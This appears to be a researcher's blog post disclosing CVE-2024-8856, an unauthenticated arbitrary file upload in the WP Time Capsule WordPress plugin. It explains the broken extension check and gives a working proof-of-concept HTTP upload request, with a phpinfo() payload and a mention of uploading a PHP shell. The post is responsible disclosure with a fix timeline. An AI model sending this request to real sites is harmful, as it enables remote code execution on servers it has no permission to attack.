CVE-2024-8856 - Unauthenticated RCE via Arbitrary File Upload
Hello all! Welcome to my very first blogpost. Today, I wanted to talk about CVE-2024-8856, a critical vulnerability I found and reported through WordFence. The issue was found in the WP Time Capsule plugin, which has over 20,000 active installations.
CVE-2024-8856
Recon
If there is one thing I enjoy, it is white-box targets. As WordFence was doing a bug bounty promotion, which included all WordPress plugins/themes with >1000 active installations, my interest was piqued. I started off by downloading a couple plugins and started "grepping".
I decided to look for upload functionality, to check the file type validation. Regexes like wp_ajax_nopriv.*upload
, move_uploaded_file
and others (can't recall which one it actually was) eventually led me to UploadHandler.php. In this file, POST requests are handled via the post()
function, which in turn calls handle_file_upload()
. In there, the validate()
function handles validation (length, size, type, etc.).
The vulnerable function
In the validate()
function, after some uninteresting length/size checks, we find the file type validation:
$allowed_extensions = array('.sql', '.gz', '.crypt');
$found = false;
foreach ($allowed_extensions as $extension) {
if(strrpos($file->name, $extension) + strlen($extension) === strlen($file->name)){
$found = true;
}
}
This raised some red flags immediately, do you see the issue here?
Foreach loops over the $allowed_extensions
whitelist. The strrpos
function is used to get the position of the last occurrence of the extension. After, the length of the extension is added (strlen
). This sum is then checked against the length of the entire filename.
As an example, if we were to upload poc.sql
, the if statement would become:
if(strrpos('poc.sql', '.sql') + strlen('.sql') === strlen('poc.sql'))
Or:
if(3 + 4 === 7)
What is the issue? If an extension is not present in the $allowed_extensions
whitelist, the strrpos
function returns 0. This means that throughout the foreach loop we would get the following:
if(0 + 4 === strlen($file->name))
- for .sqlif(0 + 3 === strlen($file->name))
- for .gzif(0 + 6 === strlen($file->name))
- for .crypt
Because of this, we can upload any 3, 4 or 6 character filenames. To upload a PHP shell, you could simply upload 00.php
. The if statement would become:
if(strrpos('00.php', '.crypt') + strlen('.crypt') === strlen('00.php'))
Or:
if(0 + 6 === 6)
Proof of Concept (PoC)
Send the following POST request (note the 6 character filename):
POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/2
Host: localhost
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------26670583928903275361770089688
Content-Length: 540
-----------------------------26670583928903275361770089688
Content-Disposition: form-data; name="files"; filename="00.php"
Content-Type: text/php
<?php phpinfo(); ?>
-----------------------------26670583928903275361770089688--
Limitations
This issue is not always exploitable. The reason for this is that an index.php
file needs to be present in the /wp-tcapsule-bridge/upload/php/
directory. This file is created via the prepare_file_upload_index_file_wptc
action, which is triggered by clicking the "Click here to show upload options" button in the settings.
Conclusion
Do not use the combination of strrpos
and strlen
to validate filetypes.
Timeline
- 13th of september - 18:51 > Report submitted to WordFence
- 13th of september - 21:08 > Validated and assigned a CVE
- 13th of september - 21:30 > Bounty of $975 awarded
- 17th of september > Issue fixed in 1.22.22
- 15th of november > CVE published
I would like to thank WordFence for the quick triage and bounty!